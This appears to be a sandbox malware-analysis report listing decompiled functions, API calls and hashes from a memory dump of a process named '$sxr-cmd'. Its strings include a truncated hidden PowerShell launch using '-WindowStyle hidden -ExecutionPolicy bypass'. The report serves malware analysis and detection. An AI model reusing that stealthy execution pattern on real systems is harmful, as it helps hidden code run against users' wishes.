Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: longjmp$Heap$AllocByteCharMultiProcessWidememmovememset
String ID: 0123456789$C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VO
API String ID: 1606811317-1547122264
Opcode ID: 8103515748828c6243a0f650469ddac0473b2fcaea6880b388f8c0650ade34ac
Instruction ID: 4cd2226dfbf97b36ac790705269bb31e163a12c788bb39a3c84630491c63359e
Opcode Fuzzy Hash: 8103515748828c6243a0f650469ddac0473b2fcaea6880b388f8c0650ade34ac
Instruction Fuzzy Hash: 93D19121A08E4281E790AB15A884679F7A0FF49BB0FD54231DA6E337A5DF3DE41DC720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7138103AC Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 219COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF713810411
memset.MSVCRT ref: 00007FF713810436
memset.MSVCRT ref: 00007FF713810459

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF713810590
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7138105A0
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7138105BB
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7138106F3
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF713810712
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF713810731

Strings

~, xrefs: 00007FF71381046D
%04X-%04X, xrefs: 00007FF713810698

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset$ErrorLast$InformationVolume
String ID: %04X-%04X$~
API String ID: 2748242238-2468825380
Opcode ID: a5ce13b1ba1f32e436565888f02c3858eb1c7aaee3f3737ac5e2d6980773bf1f
Instruction ID: 420ccf5dcd1f3a927bc7b6f949e26f651bc8a293678dd680b1fdae5c9e3b3cde
Opcode Fuzzy Hash: a5ce13b1ba1f32e436565888f02c3858eb1c7aaee3f3737ac5e2d6980773bf1f
Instruction Fuzzy Hash: F7A1B672708FC2CAEBA5AF2098402E9B7A5FB85794F808134D94D6B748DF3DD659C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F662C Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 170COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 00007FF7137F6677
iswdigit.MSVCRT ref: 00007FF7137F668F
_errno.MSVCRT ref: 00007FF7137F66A3
wcstol.MSVCRT ref: 00007FF7137F66C4
iswdigit.MSVCRT ref: 00007FF7137F66E4
iswalpha.MSVCRT ref: 00007FF7137F66FE

Strings

+-~!, xrefs: 00007FF7137F6670
APerformUnaryOperation: '%c', xrefs: 00007FF7137FF78E

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: iswdigit$_errnoiswalphawcschrwcstol
String ID: +-~!$APerformUnaryOperation: '%c'
API String ID: 2348642995-441775793
Opcode ID: 3043d5b8b3736d8e68c05dd1a897401147fff5d71c47df5c8b899d9aaf2ce369
Instruction ID: 9bcd74b0017ff77809c739a3fd2d783c2818cbbb38958aeea06e1c1faf29275e
Opcode Fuzzy Hash: 3043d5b8b3736d8e68c05dd1a897401147fff5d71c47df5c8b899d9aaf2ce369
Instruction Fuzzy Hash: 41716D62D08E4686E7A06F25D490179F7A4FB49BB4FD4C039DA5E26294EF3CA48CC730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E9400 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137E9462
memset.MSVCRT ref: 00007FF7137E9485
memset.MSVCRT ref: 00007FF7137E94AA

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137FB6A9

Part of subcall function 00007FF7137F5EE4: memset.MSVCRT ref: 00007FF7137F5F5D
Part of subcall function 00007FF7137F5EE4: towupper.MSVCRT ref: 00007FF7137F5FFE
Part of subcall function 00007FF7137F5EE4: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137F6029

GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E95D3
_wcsicmp.MSVCRT ref: 00007FF7137E9603
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E963D
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E965C
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7137FB67A

Strings

~, xrefs: 00007FF7137E94BE
FAT, xrefs: 00007FF7137E95F8

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memset$ErrorInformationLastVolume_wcsicmptowupper
String ID: FAT$~
API String ID: 2238823677-1832570214
Opcode ID: 86a1f015c0a7fb555ea8968511af05af10d745c8640f90800e65605327948ca6
Instruction ID: 0fe7c303ab00a05f28ccb56a8cb5f0f96f32b3533ac4bbf97cf0c9e7954586d0
Opcode Fuzzy Hash: 86a1f015c0a7fb555ea8968511af05af10d745c8640f90800e65605327948ca6
Instruction Fuzzy Hash: 0F717F32608FC1C9EBA1AF2198902E9B7A4FB49794F844135DA4D6BA58DF3CD64DC720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137ED840 Relevance: 18.4, APIs: 12, Instructions: 444memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000010,?,00000000,0000000E,00000025,00007FF7138251B2,00007FF7137EFE2A), ref: 00007FF7137ED884
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000010,?,00000000,0000000E,00000025,00007FF7138251B2,00007FF7137EFE2A), ref: 00007FF7137ED89D
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000010,?,00000000,0000000E,00000025,00007FF7138251B2,00007FF7137EFE2A), ref: 00007FF7137ED94D
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000010,?,00000000,0000000E,00000025,00007FF7138251B2,00007FF7137EFE2A), ref: 00007FF7137ED964
_wcsnicmp.MSVCRT ref: 00007FF7137EDB89
wcstol.MSVCRT ref: 00007FF7137EDBDF
wcstol.MSVCRT ref: 00007FF7137EDC63
memmove.MSVCRT ref: 00007FF7137EDD33
memmove.MSVCRT ref: 00007FF7137EDE9A
longjmp.MSVCRT(?,?,?,?,?,?,?,?,00000000,00000010,?,00000000,0000000E,00000025,00007FF7138251B2,00007FF7137EFE2A), ref: 00007FF7137EDF1F

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$AllocProcessmemmovewcstol$_wcsnicmplongjmp
String ID:
API String ID: 1051989028-0
Opcode ID: 64565f03666b4bb772596797247e6bb6fdde89d50adaa5f7e3853eb5f84ddd48
Instruction ID: 785a052ce1064a5ad02c26d42fe65cc95e984f2e59c2e00467091c1798379fe7
Opcode Fuzzy Hash: 64565f03666b4bb772596797247e6bb6fdde89d50adaa5f7e3853eb5f84ddd48
Instruction Fuzzy Hash: 7B02A532A08F41C5EBA0AB18E480279F6A1FB48BA4F944231DA9D37794DF7DD45DC720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E86B0 Relevance: 18.1, APIs: 8, Strings: 4, Instructions: 138memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137E8711
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137E8729
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137E8748
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137E875F
_wcsicmp.MSVCRT ref: 00007FF7137E8805
_wcsicmp.MSVCRT ref: 00007FF7137E881F
_wcsicmp.MSVCRT ref: 00007FF7137E8839

Strings

DISABLEEXTENSIONS, xrefs: 00007FF7137E8815
ENABLEEXTENSIONS, xrefs: 00007FF7137E87FB
DISABLEDELAYEDEXPANSION, xrefs: 00007FF7137FB366
ENABLEDELAYEDEXPANSION, xrefs: 00007FF7137E882F

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$_wcsicmp$AllocProcess
String ID: DISABLEDELAYEDEXPANSION$DISABLEEXTENSIONS$ENABLEDELAYEDEXPANSION$ENABLEEXTENSIONS
API String ID: 3223794493-3086019870
Opcode ID: cb3c41489134d7bf02aea1d2124d883155d35966149708651120c5f9a30c6a47
Instruction ID: 684f7dab331e2955500d41cb11ac0dfccf61c9359d40fc602d9623ee95c0e937
Opcode Fuzzy Hash: cb3c41489134d7bf02aea1d2124d883155d35966149708651120c5f9a30c6a47
Instruction Fuzzy Hash: 15518F21A08E42C9EB94AB15A450179FBA4FF4DB60F989235C95E233A0DF7DE45DC730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380BFEC Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 444COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137F58E4: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00007FF71380C6DB), ref: 00007FF7137F58EF

Part of subcall function 00007FF7137F081C: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF7137F084E

towupper.MSVCRT ref: 00007FF71380C1C9
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71380C31C
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF71380C5CB

Strings

x, xrefs: 00007FF71380C36B
Unknown, xrefs: 00007FF71380C3AB
%s>, xrefs: 00007FF71380C684
%s , xrefs: 00007FF71380C3D6
PROMPT, xrefs: 00007FF71380C079
\, xrefs: 00007FF71380C30F
C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VO, xrefs: 00007FF71380C003

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CriticalDriveEnterEnvironmentFreeLocalSectionTypeVariabletowupper
String ID: %s $%s>$C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VO$PROMPT$Unknown$\$x
API String ID: 2242554020-3399287567
Opcode ID: 4a922d4c85f00677817b5c761d16b1de45b4041caf2284929607811bb1d70d1e
Instruction ID: 8137b5115f7ac21cb2c252796db319f5654bfe357181687fd3a5408acf8075d6
Opcode Fuzzy Hash: 4a922d4c85f00677817b5c761d16b1de45b4041caf2284929607811bb1d70d1e
Instruction Fuzzy Hash: BB126121A18F4281EFA4AF15A44017AE6A0FF44BB0FD44235D96E2B7E0DE3EE559D730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F6FB4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137F7013

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137F7123

Part of subcall function 00007FF7137F1EA0: wcschr.MSVCRT ref: 00007FF7137F1EB3

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137F706E
wcsncmp.MSVCRT ref: 00007FF7137F70A5
wcsstr.MSVCRT ref: 00007FF7137FF9DB
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137FFA00
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137FFA5F

Part of subcall function 00007FF7137F823C: FindFirstFileExW.KERNELBASE ref: 00007FF7137F8280
Part of subcall function 00007FF7137F823C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7137F829D

Part of subcall function 00007FF7137F3A0C: FindClose.KERNELBASE(?,?,?,00007FF71380EAC5,?,?,?,00007FF71380E925,?,?,?,?,00007FF7137EB9B1), ref: 00007FF7137F3A56

GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137FFA3D

Strings

\\.\, xrefs: 00007FF7137F7097

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: File$AttributesFindmemset$CloseDriveErrorFirstFullLastNamePathTypewcschrwcsncmpwcsstr
String ID: \\.\
API String ID: 799470305-2900601889
Opcode ID: 5811be275bcc2b1884d73676e62e8c16ceee1b23a1cbd43db07b10be63971868
Instruction ID: 2112f589ed22c5a2d0206a39ba14b8e663e9a0dfeb8ad79a079912547beaba27
Opcode Fuzzy Hash: 5811be275bcc2b1884d73676e62e8c16ceee1b23a1cbd43db07b10be63971868
Instruction Fuzzy Hash: 8151A832A08EC285EBA0AF11D8802B9F7A8FB89BA4F854535D91D57794DF3CD54D8720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E8B20 Relevance: 16.8, APIs: 11, Instructions: 254COMMON

Download Yara Rule

APIs

wcsrchr.MSVCRT ref: 00007FF7137E8BAB
_wcsicmp.MSVCRT ref: 00007FF7137E8BD4
_wcsicmp.MSVCRT ref: 00007FF7137E8BF2
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E8C16
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7137E8C2F
wcschr.MSVCRT ref: 00007FF7137E8CB3
wcschr.MSVCRT ref: 00007FF7137E8CD7

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsicmpwcschr$AttributesErrorFileLastwcsrchr
String ID:
API String ID: 1944892715-0
Opcode ID: b04fd89d1b32d74b41568e07ffd85bc9ccdf1354646f06c8d836b15a263e4c9a
Instruction ID: 0eb9da6572477042c45a3c956b80496c37c2c0dfd9cd1bae5a7351810b8d8de1
Opcode Fuzzy Hash: b04fd89d1b32d74b41568e07ffd85bc9ccdf1354646f06c8d836b15a263e4c9a
Instruction Fuzzy Hash: 8BB17221A09E4296EBE0BF11A490179EAA5BF4DBA0F848135CA5E77390DF7DE44CC730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E5458 Relevance: 16.7, APIs: 11, Instructions: 213fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137F3578: _get_osfhandle.MSVCRT ref: 00007FF7137F3584
Part of subcall function 00007FF7137F3578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F359C
Part of subcall function 00007FF7137F3578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F35C3
Part of subcall function 00007FF7137F3578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F35D9
Part of subcall function 00007FF7137F3578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F35ED
Part of subcall function 00007FF7137F3578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F3602

_get_osfhandle.MSVCRT ref: 00007FF7137E54DE
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(?,?,00007FF7137E1F7D), ref: 00007FF7137E552B
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00007FF7137E1F7D), ref: 00007FF7137E554F
_get_osfhandle.MSVCRT ref: 00007FF71380345F
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF7137E1F7D), ref: 00007FF71380347E
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF7137E1F7D), ref: 00007FF7138034C3
_get_osfhandle.MSVCRT ref: 00007FF7138034DB
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00007FF7137E1F7D), ref: 00007FF7138034FA

Part of subcall function 00007FF7137F36EC: _get_osfhandle.MSVCRT ref: 00007FF7137F3715
Part of subcall function 00007FF7137F36EC: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF7137F3770
Part of subcall function 00007FF7137F36EC: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137F3791

Part of subcall function 00007FF7137E566C: wcschr.MSVCRT ref: 00007FF7137E5690

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: _get_osfhandle$ConsoleWrite$File$ByteCharLockModeMultiSharedWide$AcquireHandleReleaseTypewcschr
String ID:
API String ID: 1356649289-0
Opcode ID: 8cb344cfa4787b055339b8a9ee12bbc5c0a371722c2d9f6503a0875dc2cc5f96
Instruction ID: ced070693369209c6f25d379cf3f5016e7c39627d4c01fbb06519aebc706c1ab
Opcode Fuzzy Hash: 8cb344cfa4787b055339b8a9ee12bbc5c0a371722c2d9f6503a0875dc2cc5f96
Instruction Fuzzy Hash: 4B919332A08F42CBE794AF15A44017AF6E5FB88BA0F844135DA5E677A0DF7DD458CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7138086FC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 226timeCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF71380883F
GetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF71380897A
SetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF7138089AC
SetLocalTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF7138089BD
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7138089D1

Strings

:, xrefs: 00007FF7138087B7
/-., xrefs: 00007FF71380873E
%s, xrefs: 00007FF7138088B9

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: LocalTime$ErrorLast_get_osfhandle
String ID: %s$/-.$:
API String ID: 1644023181-879152773
Opcode ID: 52adc4b69c0d6b0cc37f226843e3bc06c06473f0745bac629c27b33a4c267472
Instruction ID: 39eaa79eaa289f2585c5334814124636ab579e618aa97a607cf9a16dd42a8337
Opcode Fuzzy Hash: 52adc4b69c0d6b0cc37f226843e3bc06c06473f0745bac629c27b33a4c267472
Instruction Fuzzy Hash: B491A222A28E4285FF90BB14D4402B9EAE0FF44BA4FD44135D94E6A6D4DE3EE59DC331

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380627C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 95synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF713807251), ref: 00007FF71380628E

Strings

wil, xrefs: 00007FF7138063D2

Memory Dump Source

